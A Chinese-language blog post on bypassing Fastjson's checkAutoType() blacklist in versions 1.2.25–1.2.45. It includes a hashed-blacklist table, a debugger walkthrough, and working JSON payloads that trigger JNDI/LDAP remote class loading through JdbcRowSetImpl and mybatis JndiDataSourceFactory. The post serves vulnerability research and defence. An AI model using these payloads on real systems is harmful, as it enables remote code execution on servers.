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Fastjson系列三——历史版本补丁绕过(需开启AutoType)

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在1.2.24之后的版本中,使用了checkAutoType()函数,通过黑白名单的方式来防御Fastjson反序列化漏洞,因此后面发现的Fastjson反序列化漏洞都是针对黑名单的绕过来实现攻击利用的。

网上一些文章讲的都是针对1.2.41、1.2.42、1.2.43、1.2.45这些特定版本的补丁绕过,其实实际上并不只是针对该特定版本,而是针对从1.2.25开始的一系列版本,自己试下就知道PoC可以打哪些范围了。

注意:本篇文章讲的历史补丁版本绕过的利用,都必须开启AutoTypeSupport才能成功

0x01 哈希黑名单

通过对黑名单的研究,我们可以找到具体版本有哪些利用链可以利用。

从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist

目前已知的哈希黑名单的对应表如下:

version hash hex-hash name
1.2.42 -8720046426850100497 0x86fc2bf9beaf7aefL org.apache.commons.collections4.comparators
1.2.42 -8109300701639721088 0x8f75f9fa0df03f80L org.python.core
1.2.42 -7966123100503199569 0x9172a53f157930afL org.apache.tomcat
1.2.42 -7766605818834748097 0x9437792831df7d3fL org.apache.xalan
1.2.42 -6835437086156813536 0xa123a62f93178b20L javax.xml
1.2.42 -4837536971810737970 0xbcdd9dc12766f0ceL org.springframework.
1.2.42 -4082057040235125754 0xc7599ebfe3e72406L org.apache.commons.beanutils
1.2.42 -2364987994247679115 0xdf2ddff310cdb375L org.apache.commons.collections.Transformer
1.2.42 -1872417015366588117 0xe603d6a51fad692bL org.codehaus.groovy.runtime
1.2.42 -254670111376247151 0xfc773ae20c827691L java.lang.Thread
1.2.42 -190281065685395680 0xfd5bfc610056d720L javax.net.
1.2.42 313864100207897507 0x45b11bc78a3aba3L com.mchange
1.2.42 1203232727967308606 0x10b2bdca849d9b3eL org.apache.wicket.util
1.2.42 1502845958873959152 0x14db2e6fead04af0L java.util.jar.
1.2.42 3547627781654598988 0x313bb4abd8d4554cL org.mozilla.javascript
1.2.42 3730752432285826863 0x33c64b921f523f2fL java.rmi
1.2.42 3794316665763266033 0x34a81ee78429fdf1L java.util.prefs.
1.2.42 4147696707147271408 0x398f942e01920cf0L com.sun.
1.2.42 5347909877633654828 0x4a3797b30328202cL java.util.logging.
1.2.42 5450448828334921485 0x4ba3e254e758d70dL org.apache.bcel
1.2.42 5751393439502795295 0x4fd10ddc6d13821fL java.net.Socket
1.2.42 5944107969236155580 0x527db6b46ce3bcbcL org.apache.commons.fileupload
1.2.42 6742705432718011780 0x5d92e6ddde40ed84L org.jboss
1.2.42 7179336928365889465 0x63a220e60a17c7b9L org.hibernate
1.2.42 7442624256860549330 0x6749835432e0f0d2L org.apache.commons.collections.functors
1.2.42 8838294710098435315 0x7aa7ee3627a19cf3L org.apache.myfaces.context.servlet
1.2.43 -2262244760619952081 0xe09ae4604842582fL java.net.URL
1.2.46 -8165637398350707645 0x8eadd40cb2a94443L junit.
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
1.2.46 -7921218830998286408 0x92122d710e364fb8L org.osjava.sj.
1.2.46 -7768608037458185275 0x94305c26580f73c5L org.apache.log4j.
1.2.46 -6179589609550493385 0xaa3daffdb10c4937L org.logicalcobwebs.
1.2.46 -5194641081268104286 0xb7e8ed757f5d13a2L org.apache.logging.
1.2.46 -3935185854875733362 0xc963695082fd728eL org.apache.commons.dbcp
1.2.46 -2753427844400776271 0xd9c9dbf6bbd27bb1L com.ibatis.sqlmap.engine.datasource
1.2.46 -1589194880214235129 0xe9f20bad25f60807L org.jdom.
1.2.46 1073634739308289776 0xee6511b66fd5ef0L org.slf4j.
1.2.46 5688200883751798389 0x4ef08c90ff16c675L javassist.
1.2.46 7017492163108594270 0x616323f12c2ce25eL oracle.net
1.2.46 8389032537095247355 0x746bd4a53ec195fbL org.jaxen.
1.2.48 1459860845934817624 0x144277b467723158L java.net.InetAddress
1.2.48 8409640769019589119 0x74b50bb9260e31ffL java.lang.Class
1.2.49 4904007817188630457 0x440e89208f445fb9L com.alibaba.fastjson.annotation
1.2.59 5100336081510080343 0x46c808a4b5841f57L org.apache.cxf.jaxrs.provider.
1.2.59 6456855723474196908 0x599b5c1213a099acL ch.qos.logback.
1.2.59 8537233257283452655 0x767a586a5107feefL net.sf.ehcache.transaction.manager.
1.2.60 3688179072722109200 0x332f0b5369a18310L com.zaxxer.hikari.
1.2.61 -4401390804044377335 0xc2eb1e621f439309L flex.messaging.util.concurrent.AsynchBeansWorkManagerExecutor
1.2.61 -1650485814983027158 0xe9184be55b1d962aL org.apache.openjpa.ee.
1.2.61 -1251419154176620831 0xeea210e8da2ec6e1L oracle.jdbc.rowset.OracleJDBCRowSet
1.2.61 -9822483067882491 0xffdd1a80f1ed3405L com.mysql.cj.jdbc.admin.
1.2.61 99147092142056280 0x1603dc147a3e358L oracle.jdbc.connector.OracleManagedConnectionFactory
1.2.61 3114862868117605599 0x2b3a37467a344cdfL org.apache.ibatis.parsing.
1.2.61 4814658433570175913 0x42d11a560fc9fba9L org.apache.axis2.jaxws.spi.handler.
1.2.61 6511035576063254270 0x5a5bd85c072e5efeL jodd.db.connection.
1.2.61 8925522461579647174 0x7bddd363ad3998c6L org.apache.commons.configuration.JNDIConfiguration
1.2.62 -9164606388214699518 0x80d0c70bcc2fea02L org.apache.ibatis.executor.
1.2.62 -8649961213709896794 0x87f52a1b07ea33a6L net.sf.cglib.
1.2.62 -5764804792063216819 0xafff4c95b99a334dL com.mysql.cj.jdbc.MysqlDataSource
1.2.62 -4438775680185074100 0xc2664d0958ecfe4cL aj.org.objectweb.asm.
1.2.62 -3319207949486691020 0xd1efcdf4b3316d34L oracle.jdbc.
1.2.62 -2192804397019347313 0xe1919804d5bf468fL org.apache.commons.collections.comparators.
1.2.62 -2095516571388852610 0xe2eb3ac7e56c467eL net.sf.ehcache.hibernate.
1.2.62 4750336058574309 0x10e067cd55c5e5L com.mysql.cj.log.
1.2.62 218512992947536312 0x3085068cb7201b8L org.h2.jdbcx.
1.2.62 823641066473609950 0xb6e292fa5955adeL org.apache.commons.logging.
1.2.62 1534439610567445754 0x154b6cb22d294cfaL org.apache.ibatis.reflection.
1.2.62 1818089308493370394 0x193b2697eaaed41aL org.h2.server.
1.2.62 2164696723069287854 0x1e0a8c3358ff3daeL org.apache.ibatis.datasource.
1.2.62 2653453629929770569 0x24d2f6048fef4e49L org.objectweb.asm.
1.2.62 2836431254737891113 0x275d0732b877af29L flex.messaging.util.concurrent.
1.2.62 3089451460101527857 0x2adfefbbfe29d931L org.apache.ibatis.javassist.
1.2.62 3718352661124136681 0x339a3e0b6beebee9L org.apache.ibatis.ognl.
1.2.62 4046190361520671643 0x3826f4b2380c8b9bL com.mysql.cj.jdbc.MysqlConnectionPoolDataSource
1.2.62 6280357960959217660 0x5728504a6d454ffcL org.apache.ibatis.scripting.
1.2.62 6734240326434096246 0x5d74d3e5b9370476L com.mysql.cj.jdbc.MysqlXADataSource
1.2.62 7123326897294507060 0x62db241274397c34L org.apache.commons.collections.functors.
1.2.62 8488266005336625107 0x75cc60f5871d0fd3L org.apache.commons.configuration

目前未知的哈希黑名单:

version hash hex-hash name
1.2.42 33238344207745342 0x761619136cc13eL
1.2.62 -6316154655839304624 0xa85882ce1044c450L
1.2.62 -5472097725414717105 0xb40f341c746ec94fL
1.2.62 -4608341446948126581 0xc00be1debaf2808bL
1.2.62 3256258368248066264 0x2d308dbbc851b0d8L
1.2.62 4841947709850912914 0x43320dc9d2ae0892L
1.2.62 6534946468240507089 0x5ab0cb3071ab40d1L

0x02 1.2.25-1.2.41补丁绕过

绕过利用

本地fastjson用的是1.2.41版本。

这里Demo还是用的《Fastjson系列二——1.2.22-1.2.24反序列化漏洞》中基于JdbcRowSetImpl的利用链的PoC。

直接运行的话会报错,原因就是checkAutoType()函数中的黑名单过滤了”com.sun.”:

下面我们直接给出payload:

1
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:Lcom.sun.rowset.JdbcRowSetImpl;

注意是要开启AutoTypeSupport的,添加以下代码就ok了:

1
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

直接运行即可绕过checkAutoType()黑名单实现弹计算器:

调试分析

我们注意到,PoC和之前的不同之处在于在”com.sun.rowset.JdbcRowSetImpl”类名的前面加了”L”、后面加了”;”就绕过了黑名单过滤。

下面我们调试分析看看为啥会绕过。

我们将断点打在checkAutoType()函数上,调试跟进去,”Lcom.sun.rowset.JdbcRowSetImpl;”类名由于是以”L”开头,因此并不在denyList黑名单中,从而绕过了黑名单校验,再往下开始调用TypeUtils.loadClass():

跟进TypeUtils.loadClass()函数,这里我们在之前的文章中年已经调试分析过了,也提示过了,就是会有个判断条件判断类名是否以”L”开头、以”;”结尾,是的话就提取出其中的类名再加载进来,因此能成功绕过:

0x03 1.2.25-1.2.42补丁绕过

绕过利用

先直接给出payload:

1
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC为:LLcom.sun.rowset.JdbcRowSetImpl;;

在1.2.22-1.2.42版本运行都能成功触发:

调试分析

自1.2.42版本开始,在ParserConfig.java中可以看到黑名单改为了哈希黑名单:

1
denyHashCodes = new long[]{-8720046426850100497L,-8109300701639721088L,-7966123100503199569L,-7766605818834748097L,-6835437086156813536L,-4837536971810737970L,-4082057040235125754L,-2364987994247679115L,-1872417015366588117L,-254670111376247151L,-190281065685395680L,33238344207745342L,313864100207897507L,1203232727967308606L,1502845958873959152L,3547627781654598988L,3730752432285826863L,3794316665763266033L,4147696707147271408L,5347909877633654828L,5450448828334921485L,5751393439502795295L,5944107969236155580L,6742705432718011780L,7179336928365889465L,7442624256860549330L,8838294710098435315L};

在checkAutoType()函数中,通过调试发现这段代码会对”L”开头和”;”结尾的类名进行一次提取操作:

但由于只进行一次提取操作,因此可以通过添加两次的方式来绕过后面的黑名单校验。

后面的代码,是对提取出来的className即Lcom.sun.rowset.JdbcRowSetImpl;进行denyList黑名单过滤,也就顺利绕过了。

注意下,在后面调用TypeUtils.loadClass()函数时,传入的是我们输入的LLcom.sun.rowset.JdbcRowSetImpl;;

为何添加了两次的类名也能成功触发呢?我们跟进TypeUtils.loadClass()函数中可以发现,在”L”和”;”之间提取出类名后,会再次调用自身函数loadClass(),也就是说只要检测出”L”开头和”;”结尾的字符都会调用自身来循环提取出真正的类名:

0x04 1.2.25-1.2.43补丁绕过

绕过利用

直接给出payload:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

关键PoC:[com.sun.rowset.JdbcRowSetImpl

但是如果我们一开始payload直接这样写是会报错的:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

报错信息如下,显示期待在42列的位置接受个”[“符号,而42列正好是第一个逗号”,”前一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

因此改下payload,在第一个逗号前面加个”[“:

1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[,"dataSourceName":"ldap://localhost:1389/Exploit", "autoCommit":true}

继续报错,显示期待在43列的位置接受个”{“符号,而43列正好是紧跟在新加的”[“字符的后一个位置:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43

因此就修改得到最终版payload,能够成功触发:

调试分析

调试发现,在checkAutoType()函数中,修改的是直接对类名以”LL”开头的直接报错:

但是以”[“开头的类名自然能成功绕过上述校验以及黑名单过滤。

继续往下调试,在TypeUtils.loadClass()函数中,除了前面看到的判断是否以”L”开头、以”;”结尾的if判断语句外,在其前面还有一个判断是否以”[“开头的if判断语句,是的话就提取其中的类名,并调用Array.newInstance().getClass()来获取并返回类:

解析完返回的类名是”[com.sun.rowset.JdbcRowSetImpl”,通过checkAutoType()函数检测之后,到后面就是读该类进行反序列化了:

在反序列化中,调用了DefaultJSONParser.parseArray()函数来解析数组内容,其中会有一些if判断语句校验后面的字符内容是否为”[“、”{“等,前面一开始尝试的几个payload报错的原因正是出在这里:

把这些条件一一满足后,就能成功利用了。

0x05 1.2.25-1.2.45补丁绕过

绕过利用

前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。

直接给出payload,要连LDAP或RMI都可以:

1
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

关键PoC:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory

主要就是黑名单绕过,这个类我们在哈希黑名单中1.2.46的版本中可以看到:

version hash hex-hash name
1.2.46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource

运行即可成功触发:

调试分析

调试checkAutoType()函数,看到对前一个补丁绕过方法的”[“字符进行了过滤,只要类名以”[“开头就直接抛出异常:

后面由于”org.apache.ibatis.datasource.jndi.JndiDataSourceFactory”不在黑名单中,因此能成功绕过checkAutoType()函数的检测。

继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。

由于payload中设置了properties属性值,且JndiDataSourceFactory.setProperties()方法满足之前说的Fastjson会自动调用的setter方法的条件,因此可被利用来进行Fastjson反序列化漏洞的利用。

直接在该setter方法打断点,可以看到会调用到这来,这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),其中参数由我们输入的properties属性中的data_source值获取的:

之后就是由JNDI注入漏洞成功触发Fastjson反序列化漏洞了。

函数调用栈如下:

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<init>:10, Exploit
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:57, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:526, Constructor (java.lang.reflect)
newInstance:383, Class (java.lang)
getObjectFactoryFromReference:163, NamingManager (javax.naming.spi)
getObjectInstance:188, DirectoryManager (javax.naming.spi)
c_lookup:1086, LdapCtx (com.sun.jndi.ldap)
p_lookup:544, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:203, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:411, InitialContext (javax.naming)
setProperties:56, JndiDataSourceFactory (org.apache.ibatis.datasource.jndi)
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory (com.alibaba.fastjson.parser.deserializer)
deserialze:267, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
main:8, JdbcRowSetImplPoc

OK,Fastjson历史版本补丁的绕过大致就这些,并且这些都是需要开启AutoTypeSupport才能成功利用的,后面一篇文章就是讲2019年Fastjson反序列化漏洞,一样是checkAutoType()的绕过,但是无需开启AutoTypeSupport。


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